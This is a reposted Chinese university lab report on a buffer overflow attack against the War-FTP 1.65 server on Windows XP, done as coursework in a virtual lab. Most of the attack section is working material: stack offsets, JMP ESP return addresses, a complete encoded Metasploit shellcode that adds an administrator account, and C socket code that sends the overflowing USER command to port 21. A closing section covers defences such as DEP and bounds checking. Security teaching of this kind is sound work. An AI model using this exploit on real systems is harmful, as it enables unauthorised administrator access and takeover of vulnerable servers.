基于war-ftp1.65的缓冲区溢出攻击

更新时间:2024-07-01 11:18:01 阅读量: 综合文库 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

XX大学实验报告

学院:计算机科学与技术 专业:软件工程 班级:XX

姓名 实验时间 实验项目名称 XX 2016/12/25 学号 指导教师 XX XX 实验组 成绩 缓冲区溢出攻击实验 1掌握缓冲区溢出的原理 缓冲区指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型。溢出,指所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存区域。缓冲区溢出,即由于填充数据越界而导致原有流程的改变,攻击者借此精心构造填充数据,让程序转而执行特殊的代码,最终获取控制权。 2掌握常用的缓冲区溢出方法 缓冲区溢出攻击的目的在于取得程序的控制权,为此,攻击者必须达到如下的两个目标:在程序的地址空间里安排适当的代码;通过适当的初始化寄存器和内存,让程序实验目跳转到入侵者安排的地址空间执行。根据这两个目标来对缓冲区溢出攻击进行分类,缓冲区溢出攻击分为代码安排和控制程序执行流程两种方法:在程序的地址空间里安排适当的代码的方法;控制程序转移到攻击代码的方法。 3理解缓冲区溢出的危害性 的 缓冲区溢出的危害性具有破坏性与隐蔽性的特点:破坏性体现在易使服务程序停止运行,服务器死机甚至删除服务器上的数据或者可以执入并运行攻击代码。隐蔽性体现在软件漏洞难以避免,缓冲攻击的shellcode的执行不易被察觉,攻击的随机性及不可预测性。 4掌握防范和避免缓冲区溢出攻击的方法 通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;强制编写正确的代码;利用编译器的边界检查来实现缓冲区的保护;间接的方法是在程序指针失效前进行完整性检查等。 windows 10 (缓冲区溢出攻击端),windows xp Home(缓冲区溢出被攻击端) 编程工具: codeblocks(用于发送exploit代码),exlipse(用来写测试代码字符实和转换代码字符) 验缓冲区漏洞软件:war-ftp 1.65 系统程序调试工具:ollydbg 环网络环境:使用vmare承载windows xp,window10 与xp在同一网段下,可以进行境 相互通信 1. 分析war-ftp v1.65的基于用户名的缓冲溢出漏洞 实践课件上已指出:向服务器发送超过480字节的用户名可以触发漏洞(即使用命令实USER longString\\r\\n),溢出之后,ESP中的内容包含了longString中的部分内容。验需要对其进行验证分析。 2.分析war-ftp v1.65的堆栈结构 内 即分析堆栈中的EIP、ESP、EBP等的精确位置。 容 3.构造针对war-ftp v1.65的exploit 根据上述的分析结果,参照实践课件的例子,从网上(主要是metasploit.com)获取shellcode,构造exploit。 1验证War-ftp v1.65基于用户名的缓冲溢出漏洞 在WindowsXP中使用olldbg装载war-ftp 1.65,degug?run,允许匿名登录; 在物理主机使用cuteftp登录,用户名使用依次增加的“AAA?”,当用户名长度超过480时,war-ftp 1.65出现异常甚至崩溃退出。 (正常情况): 实验数据 当输入用户名的长度超过了485个字符时,系统崩溃: (崩溃时):直接处于卡死状态 此时的EIP,EBP,ESP如下图所示: 以上证据表示,war-ftp的确存在登录的缓冲区漏洞。 2分析War-ftp 1.65的堆栈结构 由于堆栈Ret里的地址被赋给EIP,CPU继续执行EIP所指向的命令,即EIP寄存器的内容表示将要执行的下一条指令地址,所以需要定位RET的精确位置。为了把shellcode放入预期的EIP指向的ESP或EBP,还需要定位ESP、EBP的精确位置。使用java程序生成长度为1000的不重复的字符串。 随后将生成的字符串使用cuteftp发送到被攻击主机,得到关于EIP,EBP,ESP的偏移位置如下: EIP : 0x540x360x370x48 对应与H76T 在登录用户字符串的485个位置开始 ESP : qFju 在登录用户字符串的493个位置开始 EBP: NUof 在登录用户字符串的581个位置开始 结果表明,EIP指向第485位置(从0开始计数),ESP指向第493位置,EBP指向第581位置。从而可以得到war-ftp 1.65的堆栈结构图如下: 产生随机不重复字符串生成代码和16进制转换代码: package cn.fruitd.netsafe; import java.util.Random; /** * Hello world! * */ public class App { public static void main( String[] args ) { //for(int i=0;i<490;i++) // System.out.print(A); //System.out.println(); //System.out.println(genarateString(1000)); asc(new int[]{0x54,0x36,0x37,0x48}); } public static String genarateString(int len) { String string=\Z\ StringBuffer sb=new StringBuffer(); Random random=new Random(); for(int i=0;i

//shellcode,添加用户名为zane,密码为enaz的管理员用户:net user zane enaz /add /* win32_adduser - PASS=enaz EXITFUNC=process USER=zane Size=476 Encoder=Alpha2 http://metasploit.com */ unsigned char scode0[]= “\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x49\\x49\\x49\\x49\\x49\\x49″ “\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x37\\x49\\x49\\x49\\x51\\x5a\\x6a\\x4a” “\\x58\\x30\\x42\\x30\\x50\\x41\\x6b\\x41\\x41\\x5a\\x42\\x32\\x41\\x42\\x32\\x42″ “\\x41\\x41\\x30\\x42\\x41\\x58\\x50\\x38\\x41\\x42\\x75\\x7a\\x49\\x79\\x6c\\x69″ “\\x78\\x51\\x54\\x57\\x70\\x43\\x30\\x63\\x30\\x4c\\x4b\\x67\\x35\\x45\\x6c\\x6e” “\\x6b\\x71\\x6c\\x66\\x65\\x43\\x48\\x55\\x51\\x5a\\x4f\\x4e\\x6b\\x70\\x4f\\x42″ “\\x38\\x4c\\x4b\\x43\\x6f\\x51\\x30\\x56\\x61\\x78\\x6b\\x30\\x49\\x4c\\x4b\\x76″ “\\x54\\x4c\\x4b\\x65\\x51\\x7a\\x4e\\x66\\x51\\x6b\\x70\\x5a\\x39\\x6e\\x4c\\x4d” “\\x54\\x4f\\x30\\x73\\x44\\x56\\x67\\x68\\x41\\x5a\\x6a\\x66\\x6d\\x44\\x41\\x6a” “\\x62\\x58\\x6b\\x48\\x74\\x65\\x6b\\x72\\x74\\x31\\x34\\x77\\x74\\x74\\x35\\x79″ “\\x75\\x6c\\x4b\\x73\\x6f\\x67\\x54\\x64\\x41\\x7a\\x4b\\x62\\x46\\x6e\\x6b\\x64″ “\\x4c\\x30\\x4b\\x6e\\x6b\\x33\\x6f\\x75\\x4c\\x37\\x71\\x48\\x6b\\x6e\\x6b\\x57″ “\\x6c\\x4c\\x4b\\x77\\x71\\x58\\x6b\\x4c\\x49\\x61\\x4c\\x56\\x44\\x47\\x74\\x69″ “\\x53\\x70\\x31\\x4b\\x70\\x45\\x34\\x4c\\x4b\\x31\\x50\\x64\\x70\\x6f\\x75\\x49″ “\\x50\\x52\\x58\\x36\\x6c\\x4c\\x4b\\x43\\x70\\x64\\x4c\\x4e\\x6b\\x74\\x30\\x45″ “\\x4c\\x4c\\x6d\\x4e\\x6b\\x63\\x58\\x33\\x38\\x6a\\x4b\\x47\\x79\\x4c\\x4b\\x4d” “\\x50\\x68\\x30\\x37\\x70\\x73\\x30\\x53\\x30\\x6e\\x6b\\x35\\x38\\x55\\x6c\\x53″ “\\x6f\\x47\\x41\\x6a\\x56\\x73\\x50\\x52\\x76\\x4b\\x39\\x7a\\x58\\x4f\\x73\\x6b” “\\x70\\x63\\x4b\\x76\\x30\\x42\\x48\\x31\\x6e\\x78\\x58\\x78\\x62\\x62\\x53\\x62″ “\\x48\\x7a\\x38\\x4b\\x4e\\x4f\\x7a\\x66\\x6e\\x30\\x57\\x69\\x6f\\x38\\x67\\x61″ “\\x73\\x50\\x6d\\x55\\x34\\x66\\x4e\\x33\\x55\\x73\\x48\\x35\\x35\\x61\\x30\\x54″ “\\x6f\\x45\\x33\\x31\\x30\\x50\\x6e\\x72\\x45\\x50\\x74\\x65\\x70\\x30\\x75\\x41″ “\\x63\\x70\\x65\\x73\\x42\\x37\\x50\\x51\\x6a\\x62\\x41\\x62\\x4e\\x72\\x45\\x71″ “\\x30\\x71\\x75\\x70\\x6e\\x50\\x61\\x72\\x5a\\x37\\x50\\x46\\x4f\\x43\\x71\\x71″ “\\x54\\x43\\x74\\x41\\x30\\x36\\x46\\x51\\x36\\x55\\x70\\x70\\x6e\\x43\\x55\\x70″ “\\x74\\x55\\x70\\x30\\x6c\\x72\\x4f\\x32\\x43\\x35\\x31\\x50\\x6c\\x70\\x67\\x64″ “\\x32\\x72\\x4f\\x54\\x35\\x42\\x50\\x35\\x70\\x32\\x61\\x71\\x74\\x42\\x4d\\x62″ “\\x49\\x30\\x6e\\x55\\x39\\x33\\x43\\x73\\x44\\x71\\x62\\x51\\x71\\x72\\x54\\x50″ “\\x6f\\x54\\x32\\x31\\x63\\x45\\x70\\x71\\x6a\\x42\\x41\\x62\\x4e\\x41\\x75\\x55″ “\\x70\\x46\\x4f\\x30\\x41\\x30\\x44\\x30\\x44\\x43\\x30\\x4a”; 4构造exploit 这里的重点之一是寻找组成注入向量的跳转地址: 如果选择ESP为跳转的寄存器,则需要JMP ESP的指令地址,使用failwest在《软件漏洞分析入门_6_初级shellcode_定位缓冲区》提出的代码,在中文Windows系统核心dll中查找, 找到XP user32.dll的JMP ESP:0x77d7c5fb, XP kernel32.dll的JMP ESP:0x7c834d7b,此外可以使用中文WIN 2K/XP/2003下通用的JMP ESP:0x7ffa4512;如果选择EBP为跳转的寄存器,则需要JMP EBP的指令地址,这可以使用中文WIN 2K/XP/2003下通用的JMP EBP:0x7ffa4967。 重点之二是构造攻击代码: 为了防止在执行shellcode之前程序乱跳,所以使用NOP(0X90)指令来进行预防,只要shellcode位置对,最终一定能够执行shellocode 我在此使用了跳转到ESP执行shellcode,构建的exploit字符串如上图所示。 以命令USER紧跟一个空格开头,后接485个NOP空转指令,紧接着的4个字节用JMP ESP地址如“\\x12\\x45\\xfa\\x7f”来填充(这是因为x86系统是little-endian方式),之后4字节继续用NOP填充,然后从第498字节开始把shellcode复制过去,最后以\\r\\n表示FTP USER命令结束。攻击时,发生缓冲溢出,CPU根据EIP的地址跳转到堆栈第493字节开始的ESP执行shellcode。 5编程实现 根据用户的选择,构造溢出字符串(即构造后接shellcode的USER命令: USER exploitcode\\r\\n); 根据用户提供的数据,使用Socket,使用connect连接目标主机; 向目标主机发送溢出字符串(send); 关闭连接。 实验源码: #include #include #include char exploit[2000]; char str[1000]; const char jum_esp[]=\char cc[]=\char scode[]=\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ void genarate() { strcat(exploit,\ for(int i=5;i<490;i++) { exploit[i]='\\x90'; } //添加jump_esp strcat(exploit,jum_esp);//5-489 490-493 strcat(exploit,\ //添加shellcode strcat(exploit,scode); strcat(exploit,\} int main(int argc, char* argv[]) { //生成shellcode genarate(); printf(\ //准备建立socket连接 WSADATA wsaData; WORD wVersionRequested; int err,n; char buff[512]; wVersionRequested=MAKEWORD(2,2); err=WSAStartup(wVersionRequested,&wsaData); if(err!=0) return 0; SOCKET clientSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SOCKADDR_IN address; address.sin_addr.S_un.S_addr=inet_addr(\ address.sin_family=AF_INET; address.sin_port=htons(21); printf(\开始连接!\\n\ if(connect(clientSock,(SOCKADDR*)&address,sizeof(address))==SOCKET_ERROR) { printf(\连接失败\\n\ return -1; } recv(clientSock,str,1000,0); printf(\ printf(\发送exploit!\\n\ send(clientSock,exploit,strlen(exploit),0); printf(\发送长度:%d\\n\ recv(clientSock,str,1000,0); closesocket(clientSock); WSACleanup(); return 0; } 实验结果: 通过缓冲区溢出实验,成功在window xp下建立了一个zena的用户,并设置为管理员 1针对缓冲溢出的防御方法 从代码编写的角度来说,对于缓冲区的操作要进行严格的边界检查,这可借助一些工具如编译器来实现,像这次实践的war-ftp 1.65就应该对用户名数组边界进行检测;从运行状态来看,可进行动态保护,主要是数组边界检查和保证返回指针的完整性;从开发语言来看可使用类型-安全的编程语言如Java;此外还可以从系统的角度阻止攻击代码的执行,例如非执行的缓冲区技术。对于操作系统而言,Windows从XP SP2引入的DEP(Data Execution Prevention)即“数据执行保护”,一直延续到此后的Windows Server 2003、Windows Server 2008中,后者的Address Space Load Randomization让缓冲区溢出攻击变得非常困难,在Windows 7中,DEP默认是激活的。 2.实践中遇到的问题 实践中遇到的问题不少,在逐个解决问题的过程中体验到了成功的喜悦,并逐步加深了实对相关技术的理解。 验1) 虚拟机之间不能相互通信 确保虚拟机和宿主机在同一个网段上,且关闭了防火墙。 总2) 如何查找JMP ESP,JMP EBP地址 结 实践例程提供了win 2K/XP/2003的通用JMP ESP地址:0x7ffa4512,网上还提供了使用windows 2k/xp/2003 的通用的JMP EBP:0x7ffa4967地址。如何查找到具体版本的核心dll中的JMP ESP地址,这可用OllyDBG的OllyUni插件或Metasploit Framework中的相关插件完成,也可以根据JMP ESP的机器码0xFFE4编程载入相关的*.dll来查找。 3) 是否只能用JMP ESP 开始以为跳转的寄存器只能用ESP,后来发现也可以使用EBP,只要在RET中指定相应的地址,EBP及之后的空间足够用于存储shellcode。 4) 不能返回被攻击的远程主机shell 即在运行攻击命令后,本地主机自动获得远程主机的shell。这个问题尚未解决。这可能与这样的shellcode较长导致字符数组长度超过war-ftp 1.65缓冲总大小有关,也可能是与socket编程有关。 指导教师意见 签名: 年 月 日 注:请在实验报告后附程序清单

本文来源:https://www.bwwdw.com/article/wjc.html

Top